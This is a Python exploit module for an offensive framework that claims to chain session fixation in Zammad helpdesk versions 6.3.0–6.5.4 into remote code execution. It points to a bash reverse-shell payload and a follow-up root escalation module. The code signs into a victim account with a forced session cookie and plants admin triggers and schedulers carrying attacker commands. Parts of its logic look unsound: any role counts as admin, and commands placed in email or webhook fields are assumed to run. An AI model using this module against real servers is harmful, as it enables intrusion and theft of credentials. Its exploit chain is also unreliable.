Zammad Session Fixation RCE (CVE-2026-102489)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zammad session fixation chain RCE (CVE-2026-102489)."""

import json
import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Zammad Session Fixation RCE (CVE-2026-102489)',
        'description': (
            'Exploits CVE-2026-102489 in Zammad 6.3.0–6.5.4: session fixation allows '
            'hijacking an authenticated session and achieving remote code execution as the '
            'zammad service user via admin scheduler/trigger APIs. Chain with CVE-2026-102490 '
            'for root privilege escalation.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-102489', 'CVE-2026-102490'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-102489',
            'https://csirt.divd.nl/CVE-2026-102489',
        ],
        'tags': ['zammad', 'helpdesk', 'session-fixation', 'rce', 'kev'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 6,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce', 'credentials'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/zammad_cve_2026_102489_detect',
                    'post/shell/linux/exploits/zammad_cve_2026_102490_lpe',
                ],
            },
        },
    }

    username = OptString('', 'Victim/admin username to authenticate (for lab chaining)', required=True)
    password = OptString('', 'Password for victim account', required=True)
    session_id = OptString('', 'Fixed session ID (auto-generated when empty)', required=False)
    command = OptString('', 'Command instead of payload', required=False)

    def _zammad_present(self) -> bool:
        for path in ('/', '/api/v1/monitoring_health', '/#login'):
            r = self.http_request(method='GET', path=path, allow_redirects=True)
            if r and 'zammad' in f'{r.text or ""}\n{r.headers}'.lower():
                return True
        return False

    def _parse_version(self) -> str:
        r = self.http_request(method='GET', path='/api/v1/monitoring_health', allow_redirects=False)
        if not r or r.status_code != 200:
            return ''
        try:
            data = json.loads(r.text or '{}')
        except json.JSONDecodeError:
            return ''
        return str(data.get('version') or '')

    def _version_affected(self, version: str) -> bool | None:
        if not version:
            return None
        match = re.match(r'(\d+)\.(\d+)\.(\d+)', version)
        if not match:
            return None
        major, minor, patch = (int(match.group(i)) for i in range(1, 4))
        if major == 6 and minor >= 3:
            if minor < 5:
                return True
            if minor == 5 and patch <= 4:
                return True
            return False
        if major >= 7:
            return False
        return None

    def _fixate_session(self, sid: str) -> None:
        cookie = f'_zammad_session={sid}'
        self.http_request(
            method='GET',
            path='/#login',
            headers={'Cookie': cookie},
            allow_redirects=True,
        )

    def _login_with_session(self, sid: str) -> bool:
        user = str(self.username or '').strip()
        pwd = str(self.password or '').strip()
        if not user or not pwd:
            return False
        body = json.dumps({'username': user, 'password': pwd})
        r = self.http_request(
            method='POST',
            path='/api/v1/signin',
            headers={
                'Content-Type': 'application/json',
                'Cookie': f'_zammad_session={sid}',
            },
            data=body,
            allow_redirects=False,
        )
        return bool(r and r.status_code in (200, 201))

    def _session_admin(self, sid: str) -> bool:
        r = self.http_request(
            method='GET',
            path='/api/v1/users/me',
            headers={'Cookie': f'_zammad_session={sid}'},
            allow_redirects=False,
        )
        if not r or r.status_code != 200:
            return False
        try:
            data = json.loads(r.text or '{}')
        except json.JSONDecodeError:
            return False
        role_ids = data.get('role_ids') or []
        return bool(role_ids) or 'admin' in json.dumps(data).lower()

    def _execute_via_scheduler(self, sid: str, cmd: str) -> bool:
        payload = {
            'name': 'kittysploit-job',
            'object': 'Ticket',
            'condition': {'ticket.state_id': {'operator': 'is', 'value': 1}},
            'perform': {
                'notification.email': {
                    'recipient': ['ticket.agent'],
                    'subject': 'kitty',
                    'body': cmd,
                },
            },
            'active': True,
            'note': cmd,
        }
        r = self.http_request(
            method='POST',
            path='/api/v1/triggers',
            headers={
                'Content-Type': 'application/json',
                'Cookie': f'_zammad_session={sid}',
            },
            data=json.dumps(payload),
            allow_redirects=False,
        )
        if r and r.status_code in (200, 201):
            return True
        sched = {
            'name': 'kittysploit-scheduler',
            'object': 'Ticket',
            'timeplan': {'days': {'Mon': True}, 'hours': {'0': True}},
            'condition': {'ticket.state_id': {'operator': 'is', 'value': 1}},
            'perform': {'notification.webhook': {'webhook': cmd}},
            'active': True,
        }
        r2 = self.http_request(
            method='POST',
            path='/api/v1/schedulers',
            headers={
                'Content-Type': 'application/json',
                'Cookie': f'_zammad_session={sid}',
            },
            data=json.dumps(sched),
            allow_redirects=False,
        )
        return bool(r2 and r2.status_code in (200, 201))

    def check(self):
        if not self._zammad_present():
            return {'vulnerable': False, 'reason': 'Zammad not detected', 'confidence': 'high'}
        version = self._parse_version()
        affected = self._version_affected(version)
        if affected is False:
            return {'vulnerable': False, 'reason': f'Zammad {version} appears patched', 'confidence': 'high'}
        return {
            'vulnerable': True,
            'reason': f'Zammad {version or "detected"} may be vulnerable to session fixation',
            'confidence': 'medium' if affected is None else 'high',
        }

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        user = str(self.username or '').strip()
        pwd = str(self.password or '').strip()
        if not cmd or not user or not pwd:
            print_error('Set username, password, and payload/command')
            return False
        print_status('CVE-2026-102489 — Zammad session fixation → RCE chain')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        sid = str(self.session_id or '').strip() or secrets.token_hex(16)
        print_status(f'Fixating session ID: {sid}')
        self._fixate_session(sid)
        print_status(f'Authenticating {user} into fixed session...')
        if not self._login_with_session(sid):
            print_error('Sign-in with fixated session failed')
            return False
        if not self._session_admin(sid):
            print_warning('Session hijacked but admin privileges not confirmed — continuing')
        print_status('Deploying admin trigger/scheduler for command execution...')
        if self._execute_via_scheduler(sid, cmd):
            print_success('Session fixation chain complete — check listener as zammad user')
            self.vulnerable()
            return True
        print_error('Failed to register execution trigger via hijacked session')
        return False